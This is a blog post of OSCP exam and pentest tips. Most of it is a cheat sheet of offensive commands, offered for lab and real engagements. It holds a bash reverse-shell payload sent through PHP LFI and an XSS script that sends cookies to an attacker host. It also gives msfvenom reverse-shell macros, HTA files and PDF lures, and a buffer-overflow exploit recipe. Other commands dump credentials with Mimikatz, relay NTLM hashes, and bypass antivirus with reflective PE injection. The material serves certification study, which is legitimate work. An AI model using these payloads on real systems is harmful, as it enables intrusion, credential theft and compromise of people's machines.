OSCP tips and tricks

How to pwn OSCP labs and exams ! (100 + 10 / 100 points)

A summary of my notes during the OSCP labs and certification process. I also decided to add a few tips I use for actual engagements (red team, pentest, and a bit of reversing). A lot of the commands, tools, and tips come from other online guides (OSCP related or not), they are linked at the bottom of this post.

_config.yml

TLDR;

→ Enumerate using thorough scans, do not overlook even the tiniest detail.
→ Go breadth first, always.
→ It’s ok to fall in rabbit holes, proceed by elimination.
→ If you already are a skilled professional, it’s ok to find some of the lab boxes hard. In fact, a few of them rely more on CTF style riddles than actual penetration testing logic.
→ Do not underestimate the power of morale during the exam. Sugar, tee, coffee, sleep, r00t (going for low hanging fruits will boost your confidence).
→ Run everything that can run in the background as soon as you can so it runs while you test manually (eg. scans, bruteforces, user interactions traps)

Table of contents:

Part 1: Essential Tools

Kali

but really any distro with the right tools is fine too

https://github.com/xct/kali-clean

https://i3wm.org/

CopyQ

https://hluk.github.io/CopyQ/

Particularly powerful when typing in a shell that doesn’t support the same keyboard layout (looking at you RDP), or doesn’t allow you to delete characters, or move in strings. You can prepare your commands in a buffer and send them when they are ready.

Proxy plugin

https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/

https://addons.mozilla.org/en-US/firefox/addon/container-proxy/

Container Proxy is very useful if you just want to proxy some tabs of your browser:

_config.yml

My clipip.sh tool:

Script:

 #!/bin/bash
 
 o=$(xclip -o |tr -d '\n')
 ip -f inet addr show tun0 | awk '/inet / {print $2}'|cut -d '/' -f1|tr -d '\n'|xclip -selection c
 #You can replace tun0 with any interface if you don't intend to use the script over a VPN (eth0, wlan0...)
 sleep 0.1
 #xdotool key ctrl+shift+v 
 # You can use this line if you prefer not to enable CTRL+V in your terminal
 xdotool key ctrl+v
 echo -n $o|xclip -selection c

Enable CTRL+V in alacritty:

 key_bindings:
  - { key: V, mods: Control, action: Paste }

Add shortcut in i3 config:

bindsym --release $mod+Shift+i exec <path to clipip.sh>

Once that is done, you can press Alt+Shift+i in pretty much any buffer, and that will paste your IP. It is pretty useful during the OSCP, as the VPN’s outgoing IP can change, and needs be pasted pretty much in every script, cli and payload.

Part 2: General Methodolgy

I can’t emphasize this enough: breadth first. Always. I’ve found myself digging into rabbit holes more times than I can count. And being as stubborn as a donkey, I have spent entire days working on pointless exploits, when a simple searchsploit -m on another port I even had scanned, would instantly give me an initial foothold.

_config.yml

The idea is:

  • Note everything that comes to your mind when discovering the challenge (names, ports, services, nothing is done randomly and a lot of those are actual hints).
  • Scan everything.
  • Google every known protocol or port and version identified (you might find very easily exploitable processes).
  • Once you are certain you have covered everything that’s open, start digging more deeply.
  • Follow your intuition (that little bell that rings at the end of the first scan, saying “hoo this is open ??? nice.”) and try the leads you thought were the best ones initially.
  • If or once you have proven your intuition wrong, you can start proceeding by elimination and go through all potential leads, one by one.

Part 3: Information Gathering

For the labs and exam, I applied the same method over and over, and always obtained good results (except for UDP of course but what an annoying procotol).

Ping Sweep

#! /bin/bash
for ip in $(seq 1 256); do
 fping -c 1 -t 500 $1.$ip 2>&1 |grep max|cut -d ':' -f1|tr -d ' '
done

3 steps (4 if UDP) scanning process

Of course you could use Nmap automator, but if you want to do things manually, here is my way:

# Get all ports
nmap -p- -T5 -Pn <IP>|grep open|awk '{print $1}'|cut -d '/' -f1|tr '\n' ','

This should give you a nmappable list of ports like 80,443,3389,10069.

# Fingerprinting scan
sudo nmap -p <port list> -T5 -A -R -O <IP> -Pn

Although it might be a bit redundant with the next step, it is much quicker, and will give you something to work on while the last scan runs.

# Script scan
nmap -p <port list> -T5 -sV --version-all --script default,auth,brute,discovery,vuln <IP> -Pn

This one is not very subtle, but it will find a lot of interesting information, at no cost. You might find things like:

  • FTP authentication (very often anonymous)
  • HTTP folders and files
  • SMB user names and local information
  • Known exploits (not very accurate but it has worked a few times in the lab)

If you haven’t found anything, you can then proceed to scan for UDP ports:

nmap -T5 -sU --top-ports 10000 <IP>

Note: I use T5 pretty much every time I can, but if you start receiving:

RTTVAR has grown to over 2.3 seconds, decreasing to 2.0

then you should try with lower values (T4/T3).

Common enumerations and vulnerabilities checks

If you encounter Linux with OpenSSH < 7.7, I highly recommend using SSH user oracle (CVE-2018-15473), as it could give you existing system users, which could then be used for brute force or spraying. I use this script, but exploit db has a working one too.

python ssh-username-enum.py <IP> -w <wordlist>

_config.yml

I mostly used this wordlist, but Seclists also has a good amount of common usernames to try.

Also, do not forget to complete the wordlists, or create new custom ones with the credentials you find. Some might be reused, boxes have dependencies.

When discovering Windows host, I recommend checking for SMB exploits:

nmap -T5 -sV --script 'smb-vuln*' <IP>

It should cover:

  • cve-2017-7494
  • cve2009-3103
  • ms06-025
  • ms07-029
  • ms08-067
  • ms10-054
  • ms10-061
  • ms17-010
  • regsvc-dos

and Bluekeep (CVE-2019-0708) using rdpscan:

./rdpscan <ip>

_config.yml

Although, keep in mind that Bluekeep is not very stable, and it might very well just crash the target. It would still be considered vulnerable obviously, but exploitation is not necessarily possible. It’s also possible to use the metasploit module for this:

nmap -p3389 -T5 <subnet>/24 -oG - | awk '/Up$/{print $2}' > rdp.lst
msfconsole
> use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
> set RHOSTS file:<path to rdp.lst>
> run
...
 [+] 10.X.X.X:3389      - The target is vulnerable. The target attempted cleanup of the incorrectly-bound MS_T120 channel.

Lastly, always check for smb shares, as it is sometimes possible to mount them without having credentials:

 crackmapexec smb <IP> -u '' -p '' --shares

Most of those should have been raised by nmap script’s scan, but it’s always good to double check when in doubt. Nmap’s scripting engine can crash in case of host timeouts, and you will miss some important results.

Scanning through tunnels

I highly recommended using those two projects:

  • https://github.com/projectdiscovery/naabu
  • https://github.com/jpillora/chisel

Socks proxy

# Run on your machine, will open port 443
chisel server -p 443 --reverse --socks5
# Run on tunneling server, will open 1080 on your local machine once connected
chisel client 192.168.119.248:443 R:socks

And then, run a port scan using naabu:

naabu -rate 500 -c 10 -s connect -p  -  -host 10.X.X.X -proxy 127.0.0.1:1080

Naabu can crash chisel if too many concurrent threads are running, hence the specification of rate and workers. Naabu is generally much faster than nmap for simple port scans. Anyone who has used proxychains nmap knows how slow a simple scan can get.

Port forward

If you intend to bypass localhost whitelisting (usually for mysql, phpmyadmin, but also sometimes web interfaces), I recommend using port forwarding to local host. For instance, connecting to root with mysql might get the message:

ERROR 1130 (00000): Host ‘X.X.X.X’ is not allowed to connect to this MySQL server

# Run on your machine, will open port 443
chisel server -p 443 --reverse --socks5
# Open port 3306 on your local machine to proxy packets towards target
chisel client 192.168.119.248:443 R:3306:localhost:3306

Then, you can simply use:

mysql -u root -p<pass> -h 127.0.0.1

Part 3: Getting a shell

searchsploit
msfconsole; search
google

Using this, you should have found a working exploit, now get a shell using revshell.com!

Here is a few commands I found to be useful for exploiting various services:

Useful commands

1. Want to exfiltrate binary data embedded in HTML tags?

 wget -qO- 'http://X.X.X.X/vulnpage?vulparam=..\..\..\..\..\..\..\..\..\..\..%5cWINDOWS%5cRepair%5cSAM%00en' |perl -l -0777 -ne 'print $1 if /<title.*?>\s*(.*?)\s*<\/title/si' > SAM

2. PHP LFI, but no file (php, phar) gets executed?

data:text/plain,<?php passthru("bash -i >& /dev/tcp/X.X.X.X/4444 0>&1"); ?>

3. Trying to get a password on a web interface?

hydra -l admin -P /usr/share/wordlists/rockyou.txt X.X.X.X http-post-form "/URL/Login:User=^USER&password=^PASS:F=<String indicating attempt has failed>" -I

4. Having trouble connecting to RDP?

transport_connect_tls:freerdp_set_last_error_ex ERRCONNECT_TLS_CONNECT_FAILED [0x00020008]

xfreerdp /u:user /p:'password' /v:X.X.X.X /d:domain /sec:rdp
# OR, if having a different connect error, also try:
xfreerdp /u:user /p:'password' /v:X.X.X.X /d:domain /sec:tls
# and if you want to have files and clipboard there:
xfreerdp +clipboard /u:user /p:'password' /v:X.X.X.X /d:domain /sec:<whatever> /drive:<absolute path to your local folder>,/

5. Want to get some machine accounts’ hashes?

Most tips are from hack tricks.

# https://github.com/SecureAuthCorp/impacket/blob/master/examples/rpcdump.py
rcpdump.py <IP>|grep MS-RPRN
# https://github.com/NotMedic/NetNTLMtoSilverTicket
python dementor.py -u Guest -p ''  <target> <responder>

You can also relay those hashes, as it is likely not interesting to crack them, using ntlmrelay:

# list machines with SMB
nmap -p139;445 -T5 <subnet>/24 -oG - | awk '/Up$/{print $2}' > smb.lst
# shortlist IP's with spooler active (might be bugged, I haven't retested it and I typed it from what I recall)
while read ip; do rcpdump.py $ip|grep -q MS-RPRN && echo $ip >> spooler.lst || :;done < smb.lst
# generate a list of targets without SMB signing
crackmapexec smb <subnet> --genrelay-list > targets.lst
# start relay server
ntlmrelayx.py -l loot -smb2support -socks -tf targets.lst
# force NetNTLMv2 authentication to your relay (need valid credentials to perform the attack)
while read ip; do python dementor.py -u user -p 'password' $ip <responder ip>;done < spooler.lst
# profit
nc localhost <port open by ntlmrelayx>

Note: this is more of a pentest trick than an OSCP tip, but you got the gist of it.

6. Want some cookies?

<script>document.write("<img src='http://<IP> or <request bin>'"+document.cookie+"');</script>

7. Want to check who has a terrible AD passwords? (username = password)

crackmapexec smb <any ip in the domain> -u users.lst -p users.lst  -d domain --no-bruteforce

8. Want to recursively download all the files on an FTP server to grep locally?

wget -r ftp://user:pass@serv

9. Want to brute-force phpmyadmin over a socks proxy?

patator.py http_fuzz proxy_type=socks5 proxy=localhost:1080 url=http://IP/index.php method=POST body='pma_username=root&pma_password=FILE0&server=1&target=index.php&lang=en&token=' 0=/usr/share/wordlists/rockyou.txt before_urls=http://IP/index.php accept_cookie=1 follow=1 -x ignore:fgrep='Access denied for user '

If nothing works, it might be:

Buffer Overflow

Nothing new here, just the same method as explained in the PEN 200 course, with my annotations.

1. Find the overflow:

Just try with lots of characters until you get a crash, or a connection refused if you are remote.

2. Find the offset:

msf-pattern_create -l <arbitrarily large number> -s abcdefghijklmnopqrstuvwxyz,ABCDEF,0123456789

I used a custom charset because I noticed that the string generated by msf-pattern_create did not always crash the target, and for a curious reason, this worked most of the time.

_config.yml

Once the string has been sent, and a crash has been provoked, get the EIP value (reverse it if it comes from Immunity) and check for the offset using:

msf-pattern_offset -l <same number> -s abcdefghijklmnopqrstuvwxyz,ABCDEF,0123456789 -q <hex decoded string>
[+] Exact match at offset X

3. Confirm EIP control:

python -c 'print "A"*X+"B"*4'

Buffer overflows for the OSCP are always on 32 bits executables, so EIP will always contain 4 bytes. In this case, if your EIP register contains 42424242 at the time of the crash, then you have a successful EIP rewrite.

4. Identify bad characters:

With Immunity

Generate a list of chars:

import sys
for i in range(1,256):
 sys.stdout.write('\\x'+'{:02X}'.format(i))

Run with python 2, because for some reason, I’ve had trouble with non printable characters and python 3.

You should get something like:

_config.yml

The command to obtain the python encoded style string is:

xxd -p badchars.txt|tr -d '\n'|sed 's/.\{2\}/\\x&/g'

And now to send it to the vulnerable process:

python -c 'print "A"*X+"B"*4+<bad chars list>

Once the crash is obtained in Immunity, copy the ESP value, and jump to it in the memory map. Open the program’s stack, change the view to 16 bytes lines. Paste the ESP value, you should see your bad characters appear. Copy 256 bytes (16 lines) starting at the byte (0x01) and paste it locally. Then use:

cat extract|awk '{print $2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15,$16,$17}'|tr -d '\n '|xxd -r -p > filtered

This is used to format the 256 bytes from the stack back to raw binary, in order to make it diffable with the original binary bad characters file. The diff tool I highly recommend is none other than Burp Suite’s comparer, with the Compare Bytes function:

_config.yml

If the full list of bad characters is not present in the memory, it means the string you sent was terminated early. You should then manually replace the faulting byte, and resend the newly created buffer: (I use tweak for hex editing)

_config.yml

I recommend replacing characters with an easily noticeable pattern, that will not get filtered.

With IDA

I recommend using the deREferencing plugin for IDA.

_config.yml

Before running the program, a debugger must be started:

_config.yml

Once the breakpoint or crash is reached, it is possible to create an array of 255 characters from the stack’s dump by pressing ‘*’ after clicking on ESP:

_config.yml

Then export the raw binary data in IDA using Shift+E:

_config.yml

Once that is done, the file can be compared with the original bad characters file like previously.

With GDB

It’s even easier with gdb:

dump binary memory filtered.bin 0xfff0e278 0xfff0e377

where the addresses should be replaced by esp esp+0xFF

Note: the list of bad characters is 0xFF bytes long because 0x00 is generally omitted, as it marks the end of C-style terminated strings. For alignment reasons, it is usually easier to copy 0x10 bytes from the proram’s memory, so there is an extra byte that does not come from the bad characters list.

5. Generate a shellcode:

Once the bad characters are identified, generate a shellcode using:

msfvenom -i 3 -n 10 -p windows/shell_reverse_tcp -b 'the bad chars you found + \x00\x0D\x0A\x20' -f hex LHOST=<your ip> LPORT=<PORT>|sed ‘s/.\{2\}/\\x&/g’

or you could also use -f python if you’d rather do things simply. I use hex format as it is easier to translate to raw binary and can be used for other purposes. The pattern:

\x00\x0D\x0A\x20

is a list of customary bytes known to break out of strings (line breaks, blanks, null bytes), so I recommend adding them pretty much all the time. When it comes to filtering bad bytes, it is safer to have false positives than false negatives, as msfvenom will likely always manage to generate a shellcode with a given filter list anyway.

6. Find a candidate to rewrite EIP:

Lastly, you should get the value you want to rewrite EIP with. It has to be a pointer aiming to executable instructions. Ideally, this pointer:

  • Jumps to a jmp espinstruction, or equivalent:
    • call esp
    • push esp; ret
  • Does not contain any of the bad characters

It is possible to find such an address in Immunity using:

!mona jmp -r esp

Or using ROPGadget.

ROPgadget.py --binary <file> |grep 'jmp esp'

Remember to write the address in little endian and in python binary format. So 0x12345678 should become \x78\x56\x34\x12.

In some cases, it might be possible to jump directly to the stack. Although I don’t recommend it. If the process you are attacking is multithreaded, or instantly restarts, you can rewrite EIP with an address pointing to the stack, and hope it lands in your NOP sled. To make it work, you should do three things:

  • Ensure the NOP sled is as large as possible to increase the probability of landing on it
  • Find a candidate pointer for where the stack would likely be on the target
  • Brute force from there

7. Exploit

The final exploit should be something like:

python -c 'print "A"*X + <jmp esp address> + "\x90" * <arbitrary size> + <shellcode>'

Although, in my case, the exploit during the exam worked on the first shot without putting any NOP (there is already a few in the msfvenom generated shellcode).

User Interaction

Some boxes can only be rooted using user interaction. Notably:

  1. Generate a VBA payload
    msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f vba -o macro.vba
    
  2. Generate a HTA payload
    msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f hta -o index.hta
    
  3. Generate a malicious FoxIt pdf document

Exploit db script

Impacket smbserver

msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o giveyouup.exe
smbserver.py -smb2support -ip <IP> TMP .
python 49116.py \\<IP>\TMP\backdoor.exe letyoudown.pdf

Part 4: Post exploitation (privesc, av bypass, loot)

Pretty much anything concerning privilege escalation is already covered in WinPEAS and LinPEAS: https://github.com/carlospolop/PEASS-ng

Here is a little list of my own:

1. On which port can the remote target contact me? (reverse tcp scan)

Get this script and make it downloadable on port 80:

wget https://github.com/InfosecMatter/Minimalistic-offensive-security-tools/raw/master/port-scan-tcp.ps1
python -m http.server 80

Setup iptables just like for meterpreter/reverse_tcp_allports, but make sure port 80 is queryable, and start the netcat catch-all:

sudo iptables -i tun0 -A PREROUTING -t nat -p tcp --dport 20:79 -j REDIRECT --to-port 8000
sudo iptables -i tun0 -A PREROUTING -t nat -p tcp --dport 81:6000-j REDIRECT --to-port 8000
nc -nlvp 8000

Run the script locally:

powershell -ep bypass -nOp -c "iex (iwr http://192.168.119.248/port-scan-tcp.ps1 -UseBasicParsing);port-scan-tcp 192.168.119.248 (21,22,23,53,80,139,389,443,445,636,1433,3128,8080,3389,5985);"

If you have an output in powershell, you can see which ports the target can reach you on, and then open your set of ports (delivery, reverse shell, smb servers, etc). If you don’t have an output (blind command) you still can see on what ports you received packets by using wireshark or tcpdump. Remember that packets will be routed using PREROUTING, so netcat will not be able to see the original destination port.

Reverse tcp port scan in bash on Linux:

export ip=<IP>; for port in $(seq 20 6000); do nc -zv -w1 $ip $port& done

2. Damn AV, how to bypass it to run my exe?

Use Powershell PE Reflective injection:

# Use reflective PE injection over SMB:
powershell -ep bypass -sta -nop -c "iex (iwr http://IP/empire.ps1 -UseBasicParsing); $PEBytes = [IO.File]::ReadAllBytes('\\IP\\Share\\File'); Invoke-ReflectivePEInjection -PEBytes $PEBytes"
# Over HTTP:
powershell -ep bypass -nop -c "iex (iwr http://IP/Invoke-ReflectivePEInjection.ps1.1 -UseBasicParsing);Invoke-ReflectivePEInjection -PEURL http://IP/file.exe"

Although, in reality it’s the powershell script that would most likely get blocked by the AV.

Script with PEBytes version

Script with PEUrl version Here is a few list of golang reverse shells:

https://gist.github.com/yougg/b47f4910767a74fcfe1077d21568070e

I use garble for obfuscation, but bear in mind that most obfuscation techniques will actually increase the suspiciousness of scripts and binaries.

3. No meterpreter getystem and got SeLoadDriverPrivilege?

Then try Print Nightmare, I’ve had a lot of success with it in the lab:

msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f dll -o revshell.dll
wget https://raw.githubusercontent.com/calebstewart/CVE-2021-1675/main/CVE-2021-1675.ps1
python -m http.server 80
powershell -ep bypass -nop -c "iwr http://IP/revshell.dll -OutFile C:\WINDOWS\Temp\revshell.dll;iex (iwr http://IP/Invoke-Nightmare.ps1 -UseBasicParsing);Invoke-Nightmare -DLL C:\WINDOWS\Temp\revshell.dll"

Script

4. Want to dump creds?

powershell -ep bypass -nop -c "iex (iwr http://IP/Invoke-PowerDump.ps1 -UseBasicParsing);Invoke-PowerDump"

powershell -ep bypass -nop -c "iex (iwr http://IP/Invoke-Mimikatz.ps1 -UseBasicParsing); Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "exit"'"

PowerDump Mimikatz

5. Want to run LaZagne on 32bits?

LaZagne

I compiled it for you: https://github.com/therealunicornsecurity/ctf_data/blob/main/laz32.exe

6. Want to download stuff, but there is only powershell 2.0?

$url = "http://IP/file.exe" 
$path = "C:\WINDOWS\TEMP\file.exe" 
# param([string]$url, [string]$path) 

if(!(Split-Path -parent $path) -or !(Test-Path -pathType Container (Split-Path -parent $path))) { 
$targetFile = Join-Path $pwd (Split-Path -leaf $path) 
} 

(New-Object Net.WebClient).DownloadFile($url, $path) 
$path

7. Want to list open ports on Windows?

# TCP
Get-NetTCPConnection -State Listen| select LocalAddress,LocalPort,@{Name="Process";Expression={(Get-Process -Id $_.OwningProcess).ProcessName}}
# UDP
Get-NetUDPEndpoint | select LocalAddress,LocalPort,@{Name="Process";Expression={(Get-Process -Id $_.OwningProcess).ProcessName}} 

8. Want to run IDA Free on a 32 bits Windows machine?

https://www.scummvm.org/news/20180331/

9. Want to exploit a privileged MySQL process?

I won’t explain it better than what’s been done here:

https://www.exploit-db.com/docs/english/44139-mysql-udf-exploitation.pdf

But I can automate it:

# exploit.sql
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select * from mysql.func;
select do_system('<run backdoor>');
mysql -u root -p<password> -h <target> < exploit.sql

10. Want to compile an exploit for 32 bits linux?

gcc -m32 -march=i686 code.c -o exp -static

And in case you get glibc version errors, two options:

  • gcc and required libs are on the target: compile your exploit directly there
  • no gcc, or missing lib: run ldd --version on the target and try to get a docker container with the same libc installed, compile from there and transfer to target

11. Want to cross compile an exploit for Windows?

# dpkg --add-architecture i386
# install mingw32/64
# 32 bits:
i686-w64-mingw32-g++-win32 exp.cpp -static -o exp
# 64 bits:
x86_64-w64-mingw32-g++ exp.cpp -static -o exp

There is equivalents for gcc too.

12. Want to run a command in Meterpreter and see the output?

execute -i -H -f "cmd"

13. Command Prompt Has Been Disabled by Your Administrator?

Upload this, and run cmd.exe locally: http://didierstevens.com/files/software/cmd-dll_v0_0_4.zip

14. Getting conversion error trying to compile MS17-017 ?

error: cannot convert ‘STARTUPINFO’ {aka ‘STARTUPINFOA’} to ‘LPSTARTUPINFOW’ {aka ‘_STARTUPINFOW*’}

Edit line 450:

VOID xxCreateCmdLineProcess(VOID)
{
+    STARTUPINFOW si = { sizeof(si) };
-    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    WCHAR wzFilePath[MAX_PATH] = { L"yourexe.exe" };
    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
    if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}

Compile:

i686-w64-mingw32-g++-win32 44479.cpp -lgdi32 -lopengl32 -o lol.exe -static

15. Getting an error while running Invoke-Mimikatz.ps1 and Invoke-ReflectivePEInjection.ps1?

Exception calling “GetMethod” with “1” argument(s): “Ambiguous match found.”

Replace this:

$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')

With:

$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [reflection.bindingflags] "Public,Static", $null, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null);

16. Exploiting an old timer with no modern way of downloading files? Use SMB Delivery!

msfconsole
use exploit/windows/smb/smb_delivery
msf exploit(windows/smb/smb_delivery) > set srvhost IP //your LHOST
msf exploit(windows/smb/smb_delivery) > exploit
# locally:
rundll32.exe \\IP\vabFG\test.dll,0

_config.yml

I guess you could use bitsadmintoo.

17. Got docker suid or sudo?

docker run -v /:/mnt -it ubuntu

Once the file system is mounted, you can read and write /etc/passwd and /etc/shadow. You can also add your public ssh key in /root/.ssh/authorized_keys.

18. Want to check which services you can start?

accesschk.exe /accepteula -uwcqv "Authenticated Users" *
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula

19. Looking for statically compiled tools?

https://github.com/ernw/static-toolbox

https://github.com/andrew-d/static-binaries

20. Got SeImpersonate?

Use meterpreter incognito:

load incognito
list tokens -u
impersonate_token <high privileges token>

If the token you obtained is on the domain, you can pivot to other targets where the AD user has local administration privileges. Use powershell to remotely add a user using the token you obtained:

$Computername = <Your target>
$Username = <Your account>
$GroupName = "Administrators"
$DomainName = $env:USERDOMAIN
$Group = [ADSI]"WinNT://$ComputerName/$GroupName,group"
$User = [ADSI]"WinNT://$DomainName/$Username,user"
$Group.Add($User.Path)

Or try your chance with JuicyPotato!

21. Want to use hashcat and John’s great rules list to generate custom wordlists locally?

hashcat --force <wordlist> -r /usr/share/hashcat/rules/dive.rule --stdout >> out.wl
john --wordlist=<wordlist> --rules --stdout > out.wl

You can also use this wordlist.

22. Struggling to get NT SYSTEM?

Remember, you have 1 shot at using Metasploit/Meterpreter, so why don’t you just use

_config.yml

I chose to use mine to get a privileged shell to the AD’s network entry point. It was actually quite useful as it allowed me to privesc quickly using meterpreter, and then pivot and scan with chisel and naabu.

Conclusion

I definitely had a lot of fun on the lab and during the exam too. I was expecting the challenges to be too “CTF” like, and based on riddles rather than seen-in-the-wild scenarios, but it wasn’t really the case. In the end I feel like the OSCP has probably gotten easier with the inclusion of the AD set. I do think it brings some realism, as ADs are generally quite easy to root.

If you have any questions or comment, do not hesistate to reach me on discord.

Stay classy netsecurios!

References

https://gtfobins.github.io/

https://book.hacktricks.xyz/welcome/readme

https://lolbas-project.github.io/

https://mishrasunny174.tech/post/vulnapp_trun/

https://github.com/calebstewart/CVE-2021-1675

https://osandamalith.com/2018/02/11/mysql-udf-exploitation/

https://github.com/mitre/caldera/issues/38

https://hunter2.gitbook.io/darthsidious/privilege-escalation/token-impersonation

https://liodeus.github.io/2020/09/18/OSCP-personal-cheatsheet.html

https://github.com/akenofu/OSCP-Cheat-Sheet

https://www.noobsec.net/oscp-cheatsheet/

Table of contents generated with markdown-toc

OSCP Cheatsheet


August 2022 https://www.offensive-security.com/ PEN 200 —

Written on September 3, 2022